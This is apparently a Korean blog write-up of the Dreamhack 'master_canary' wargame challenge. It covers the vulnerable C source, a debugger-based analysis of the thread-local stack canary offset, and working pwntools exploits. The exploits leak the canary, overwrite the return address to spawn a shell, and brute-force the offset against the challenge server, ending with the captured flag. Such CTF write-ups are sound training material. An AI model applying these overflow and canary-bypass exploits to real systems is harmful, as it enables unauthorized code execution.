1. intro
2. code 및 분석
2.1 code
// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size;
pthread_t thread_t;
size_t idx;
char leave_comment[32];
initialize();
while(1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
2.2 분석
main 함수 내에서 3개의 메뉴를 실행시킬 수 있으며, 각각 아래와 같다.
1. create thread : thread를 생성하며, thread_routine 함수를 통해 buf의 주소를 global_buffer에 넣는다.
2. input : size 정수를 입력받은 뒤 그 크기만큼 데이터를 입력받은 뒤 read_bytes 함수를 통해 global_buffer 변수에 넣은 뒤 출력한다.
3. exit : leave_comment 변수에 1024 byte 만큼 값을 받아들이고 종료한다.
3. 취약점 확인 및 공격 준비
3.1 취약점
1. create thread에서 256 byte만큼 buffer를 할당하는 것 같지만, 실제로 2. input 메뉴에서 그 크기를 제한하지 않기 때문에 이를 넘어서 값을 삽입할 수 있기에 master canary 값을 변조할 수 있다.
더불어 2. input 메뉴에서 값을 받아들인 후 그 값을 다시 출력해주기 때문에 master canary 값 leak도 가능할 것으로 예상된다.
또한 3. exit 실행 시 leave_comment 변수의 크기는 32 byte로 할당되었으나 1024 byte의 크기를 받아들이기에 overflow가 발생한다.
이에 master canary leak 및 master canary overwrite 두 가지 방법을 시도해보자.
3.2 공격 준비
3.2.1 master canary leak
우선 thread_routin 함수를 통한 thread 할당 후 해당 위치와 master canary의 위치를 확인하여 offset을 구해보자.
thread_routine 함수를 디스어셈블해서 적절한 위치에 break point를 걸고 확인하였다.
→ 0x400a83 <thread_routine+40> nop
0x400a84 <thread_routine+41> mov -0x8(%rbp), %rdx
0x400a88 <thread_routine+45> xor %fs:0x28, %rdx
0x400a91 <thread_routine+54> je 0x400a98 <thread_routine+61>
0x400a93 <thread_routine+56> call 0x400820 <__stack_chk_fail@plt>
0x400a98 <thread_routine+61> leave
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "master_canary", stopped 0x400b2d in main (), reason: BREAKPOINT
[#1] Id 2, Name: "master_canary", stopped 0x400a83 in thread_routine (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a83 → thread_routine()
[#1] 0x7ffff7f98d80 → start_thread(arg=0x7ffff7db2640)
[#2] 0x7ffff7eb476f → clone()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/x $fs_base+0x28
0x7ffff7db2668: 0xdcf2d55ceea76700
gef➤ x/x $rbp-8
0x7ffff7db1e48: 0xdcf2d55ceea76700
gef➤ x/x $rbp-0x110
0x7ffff7db1d40: 0x0000000000000000
gef➤ p 0x7ffff7db2668-0x7ffff7db1d40
$3 = 0x928
우선 master canary의 위치는 0x7ffff7db2668
데이터가 들어갈 global_buffer의 위치는 0x7ffff7db1d40
offset은 0x928 byte이다.
2번 메뉴를 통해 0x928 + \xn (canary의 마지막 1 byte가 0x00이므로) 을 삽입해서 master canary 값이 나오는지 확인해보면
gef➤ c
Continuing.
1. Create thread
2. Input
3. Exit
>
Thread 2 "master_canary" received signal SIGALRM, Alarm clock.
[Thread 0x7ffff7db2640 (LWP 20611) exited]
2
Size: 2345
Data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
g��\���G��-�<M�
가장 마지막에 canary 값이 나오는 것을 확인할 수 있다.
마지막으로 3번 exit 메뉴 실행 시 값을 받아들이는 leave_comment의 위치를 확인해보면 아래와 같다.
...
0x0000000000400c39 <+308>: lea -0x30(%rbp),%rax
0x0000000000400c3d <+312>: mov $0x400,%edx
0x0000000000400c42 <+317>: mov %rax,%rsi
0x0000000000400c45 <+320>: mov $0x0,%edi
0x0000000000400c4a <+325>: call 0x400860 <read@plt>
...
이제 이 값을 사용해서 3번 exit 메뉴 실행 시 canary 값과 함께 ret address를 get_shell 함수의 주소로 변경할 수 있을 것이다.
그러므로 전체적인 공격 흐름은 아래와 같다.
1. create thread 메뉴로 thread buffer 할당.
2. input 메뉴로 0x929 byte data input 및 canary leak
3. exit 메뉴로 dummy 0x30 - 0x8 byte + canary 8 byte + sfp 8 byte + get_shell address 전달
3.2.2 master canary overwrite
이번에는 canary overwrite이다.
앞선 문제와 마찬가지로 0x928 위치 이후 8 byte가 canary 값이므로 이를 임의의 값으로 overwrite 하고, exit 메뉴 실행 시 해당 임의의 값과 함께 페이로드를 전달하면 될 것이다.
3.2.1항에서 필요한 값은 다 구했으니 이를 토대로 공격 흐름을 구성해보면 아래와 같다.
1. create thread 메뉴로 thread buffer 할당.
2. input 메뉴로 0x928 + 8 byte input 및 canary overwrite
3. exit 메뉴로 dummy 0x30 - 0x8 byte + canary 8 byte + sfp 8 byte + get_shell address 전달
위의 방법이 가능할 것으로 예상하였으나 실제로는 실패했다.
처음 생각은 thread 영역의 buffer 할당 시 overwrite 한 %fs_base + 0x28의 값을 main 함수에서 canary check 시 비교할 것으로 예상하였는데, 실제로 각 함수 내의 %fs_base 값은 달랐다.
예를 들면 아래와 같다.
...
#thread_routine 의 $fs_base + 0x28, canary 값
0x7ffff7db2668: 0x7397cbaa132f0300 0xb64b04366ec6eb40
....
#main 의 $fs_base + 0x28, canary 값
0x7ffff7db3768: 0x7397cbaa132f0300 0xb64b04366ec6eb40
자세히 확인해보니 아래와 같았다.
#main canary
0x7ffff7db3768
#thread_routine canary
0x7ffff7db2668
#thread buffer
0x7ffff7db1d40
어차피 thread_routine에서 선언된 buffer가 main의 fs_base보다 낮은 위치에 있기 때문에 overwrite 가능할 것 같긴 하지만, 그러려면 thread_routine의 sfp, ret 또한 leak 하여 정상적으로 함수가 종료되게 한 뒤 main의 fs_base + 0x28 값을 덮어씌워야하기에... 그냥 포기하자.
4. exploit
4.1 master canary leak
위의 값을 토대로 페이로드를 작성해보면 아래와 같다.
from pwn import *
p = process('./master_canary')
e = ELF('./master_canary')
#allocate to thread buffer
p.sendlineafter(b'> ',b'1')
#input data 0x928 + 1 byte (1 byte for last 1 byte of canary, 0x00)
p.sendlineafter(b'> ',b'2')
size = 0x929
p.sendlineafter(b': ', str(size))
p.sendlineafter(b': ',b'A'*size)
p.recv(6+0x929) #6 for 'Data:' string
canary = b'\x00'
canary += p.recv(7)
print(hex(u64(canary)))
pay = b''
pay += b'A'*(0x30-0x8)
pay += canary
pay += b'A'*8
pay += p64(e.symbols['get_shell'])
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'comment: ',pay)
p.interactive()
로컬 환경에서 실행해보니 잘 작동한다.
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Starting local process './master_canary': pid 38254
[*] '/home/kali/Downloads/master_canary'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/home/kali/Downloads/a.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b': ', str(size))
0x7ac82eaa20184100
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(kaboxer)
서버에서 실행해보면 canary 값을 제대로 가져오지 못한다.
그 이유는 당연하게도 offset이 다르기 때문이다.
파일의 정보를 확인 해보면 아래와 같고
┌──(kali㉿kali)-[~/Downloads]
└─$ file master_canary
master_canary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ff953ce709fe59344dce6a8a120c496259979d84, not stripped
무엇보다 커널 버전이 2.6.32 이며 로컬은 임의로 파일을 컴파일해 확인해보면 3.2.0 이기에 메모리 사용 방식이 다르기 때문에 발생하는 문제로 판단된다.
┌──(kali㉿kali)-[~/Downloads]
└─$ file a
a: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c033975b070ff190be3412768a79af2cf353c310, for GNU/Linux 3.2.0, not stripped
해결 방법은 해당 커널 버전의 환경을 구축해 확인하던지, 브루트포스 해야할 것 같다.
여기서는 브루트포스 해보자. (이미 답을 알기에 짧게 시도함.)
from pwn import *
for i in range(0x8e6,0x1000,1):
p = remote('host3.dreamhack.games', 13097)
#p = process('./master_canary')
e = ELF('./master_canary')
#allocate to thread buffer
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'2')
size = i
p.sendlineafter(b': ', str(size))
p.sendlineafter(b': ',b'A'*size)
p.recv(0x6+size) #6 for 'Data:' string
canary = b'\x00'
canary += p.recv(7)
print(hex(u64(canary)))
pay = b''
pay += b'A'*(0x30-0x8)
pay += canary
pay += b'A'*8
pay += p64(e.symbols['get_shell'])
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'comment: ',pay)
p.sendline(b'id')
check = p.can_recv(timeout=1)
print(hex(i))
if check == True:
p.interactive()
p.close()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 13097: Done
[*] '/home/kali/Downloads/master_canary'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/home/kali/Downloads/a.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b': ', str(size))
0x61657243202e3100
0x8e6
[*] Closed connection to host3.dreamhack.games port 13097
[+] Opening connection to host3.dreamhack.games on port 13097: Done
0x61657243202e3100
0x8e7
[*] Closed connection to host3.dreamhack.games port 13097
[+] Opening connection to host3.dreamhack.games on port 13097: Done
0x4141414141414100
0x8e8
[*] Closed connection to host3.dreamhack.games port 13097
[+] Opening connection to host3.dreamhack.games on port 13097: Done
0x7aab3fe0dcd1b00
0x8e9
[*] Switching to interactive mode
uid=1000(master_canary) gid=1000(master_canary) groups=1000(master_canary)
$ cat flag
DH{7c0bfdbd75bc61acadbe856d6738758b}
4.2 master canary overwrite
그냥 포기;
'Wargame > Dreamhack' 카테고리의 다른 글
__environ (0) | 2022.08.15 |
---|---|
Overwrite _rtld_global (0) | 2022.08.15 |
Master Canary (0) | 2022.08.07 |
seccomp (0) | 2022.08.07 |
Bypass SECCOMP-1 (0) | 2022.08.05 |